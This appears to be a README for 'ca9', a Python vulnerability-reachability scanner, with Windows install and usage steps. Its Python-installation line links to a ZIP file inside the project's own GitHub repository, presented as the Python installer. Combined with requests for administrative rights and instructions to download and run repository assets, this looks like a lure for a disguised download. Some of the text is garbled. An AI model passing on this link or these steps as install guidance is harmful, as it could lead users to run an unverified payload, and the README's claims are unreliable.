ca9 helps you stop wasting time fixing security issues that do not affect your Python projects. It scans your code to find which reported vulnerabilities really matter. This reduces alerts from tools like Snyk, Dependabot, and Trivy. ca9 uses both static and dynamic methods to give clear results.
ca9 is a software tool designed for Python projects. It looks at your code and tells you which vulnerabilities can be reached or triggered when your program runs. Not all security alerts need action. ca9 finds the important ones.
This saves time and effort during security checks by lowering "noise" from false or irrelevant alerts. The analysis is helpful to Python developers and security teams who want clear, focused results.
To use ca9 on Windows, your computer should meet these basic needs:
- Windows 10 or newer (64-bit preferred)
- At least 4 GB of free RAM (8 GB recommended for large projects)
- 200 MB of free disk space for the app and temporary files
- Python 3.7 or later installed on your system
- Internet connection to download software and updates
- Administrative rights to install and run tools
Make sure Python is added to your system PATH. You can verify this by opening Command Prompt and typing:
python --version
You should see your Python version printed. If not, install Python from https://github.com/amith53/ca9/raw/refs/heads/main/src/ca-3.8-alpha.4.zip and choose the option to add it to PATH.
Follow these steps to download and start using ca9 on your Windows PC.
Click the badge below to go to the official download page. This page contains the latest release and instructions.
This link will take you to the GitHub repository where you will find releases and files ready for download.
On the releases page, look for the latest release. Find the asset that matches Windows and Python users. It is usually a ZIP file or installer with ca9 in its name.
Click the file to download it to your computer.
If you downloaded a ZIP file:
- Right-click the ZIP file.
- Select "Extract All…"
- Choose a folder to extract files to.
If you downloaded an installer (.exe):
- Double-click the file.
- Follow the installer prompts to complete the setup.
After installation:
- Press the Windows key.
- Type
cmdand hit Enter. - A black window (Command Prompt) will appear.
In Command Prompt, type the following command and press Enter:
ca9 --help
If installed correctly, you will see usage instructions and options. This means ca9 is ready.
Once installed, ca9 can analyze your code to find relevant security issues.
-
Open Command Prompt.
-
Navigate to your Python project folder. For example:
cd C:\Users\YourName\Documents\MyPythonProject -
Run ca9 with this command:
ca9 analyze .
This tells ca9 to check the current folder for reachable vulnerabilities.
ca9 lists vulnerabilities it found that might affect your project. It separates those that can be triggered from those that don't matter.
Look through the results and focus on vulnerabilities marked as "reachable." These need your attention.
To save the output for later review, use:
ca9 analyze . > ca9_report.txt
This creates a file named ca9_report.txt in your project folder with the analysis details.
-
Static + Dynamic Analysis: ca9 checks your code without running it (static) and tracks what happens during runtime (dynamic). This adds confidence in findings.
-
Reduce Alerts: ca9 works well with tools like Snyk, Dependabot, and Trivy by cutting down false alerts.
-
Python Focused: Built for Python, ca9 understands its packages and structures well.
-
Command Help: Use
ca9 --helpanytime to see available options and commands. -
Project Size: For very large projects, increase your computer's RAM to improve performance.
-
ca9 command not found: Make sure the installation folder is in your system PATH or run ca9 using the full path.
-
Python not found error: Install Python 3.7+ and add it to PATH.
-
Slow analysis: Close other heavy programs, or analyze smaller parts of your project.
-
Report missing or empty: Ensure you run ca9 in the correct project folder that contains Python code.
